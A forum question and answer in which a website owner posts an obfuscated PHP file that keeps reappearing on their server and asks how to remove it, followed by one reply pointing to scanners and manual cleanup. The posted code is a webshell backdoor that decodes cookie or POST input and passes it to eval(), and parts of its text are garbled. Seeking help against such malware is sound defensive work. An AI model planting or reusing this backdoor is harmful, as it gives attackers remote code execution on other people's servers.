PHP file injection.. how to solve this? - php

Question

there is always a file on my website that always being upload even though im not the one who upload it.
This is the file
and this is the code when you open it.. any idea how to stop this?
<?php
1.$ilmtik[4] . $ilmtik[26] . $ilmtik[20] . $ilmtik[18] . $ilmtik[12] . $ilmtik[3] . $ilmtik[22] . $ilmtik1 . $ilmtik[5] . $ilmtik[14] . $ilmtik[28] . $ilmtik[5] . $ilmtik[30] . $ilmtik[30] . $ilmtik[4] . $ilmtik[26];
$kkunht[] = $ilmtik[24] . $ilmtik[13];
$kkunht[] = $ilmtik[0];
$kkunht[] = $ilmtik[26] . $ilmtik[17] . $ilmtik[27] . $ilmtik[21] . $ilmtik[32];
$kkunht[] = $ilmtik[10] . $ilmtik[32] . $ilmtik[16] . $ilmtik[23] . $ilmtik[16] . $ilmtik[3] . $ilmtik[2] . $ilmtik[3] . $ilmtik[6] . $ilmtik[32];
$kkunht[] = $ilmtik[3] . $ilmtik[29] . $ilmtik[2] . $ilmtik[8] . $ilmtik[17] . $ilmtik[12] . $ilmtik[3];
$kkunht[] = $ilmtik[10] . $ilmtik[27] . $ilmtik[22] . $ilmtik[10] . $ilmtik[32] . $ilmtik[16];
$kkunht[] = $ilmtik[6] . $ilmtik[16] . $ilmtik[16] . $ilmtik[6] . $ilmtik[25] . $ilmtik[23] . $ilmtik[34] . $ilmtik[3] . $ilmtik[16] . $ilmtik[33] . $ilmtik[3];
$kkunht[] = $ilmtik[10] . $ilmtik[32] . $ilmtik[16] . $ilmtik[8] . $ilmtik[3] . $ilmtik[21];
$kkunht[] = $ilmtik[2] . $ilmtik[6] . $ilmtik[26] . $ilmtik[15];
foreach($kkunht[7]($_COOKIE, $_POST) as $dfmafta => $ozyods) {
function lawlvc($kkunht, $dfmafta, $fanykfj)
{
return $kkunht[6]($kkunht[4]($dfmafta . $kkunht[0], ($fanykfj / $kkunht8) + 1) , 0, $fanykfj);
}
function cuoen($kkunht, $soeasy)
{
return #$kkunht[9]($kkunht1, $soeasy);
}
function mktryk($kkunht, $soeasy)
{
$pcrtw = $kkunht3 % 3;
if (!$pcrtw) {
eval($soeasy1);
exit();
}
}
$ozyods = cuoen($kkunht, $ozyods);
mktryk($kkunht, $kkunht[5]($kkunht[2], $ozyods ^ lawlvc($kkunht, $dfmafta, $kkunht8)));
}
could someone has an idea on this.. thank you :(

Answer 1

there are numerous scanners that will check your site (for example, https://sitecheck.sucuri.net/).
to fix the problem, i would disable php, turn off http access, then ssh into the site and start cleaning up the malware. changing your password isn't a bad idea, but it won't have much impact on a backdoor.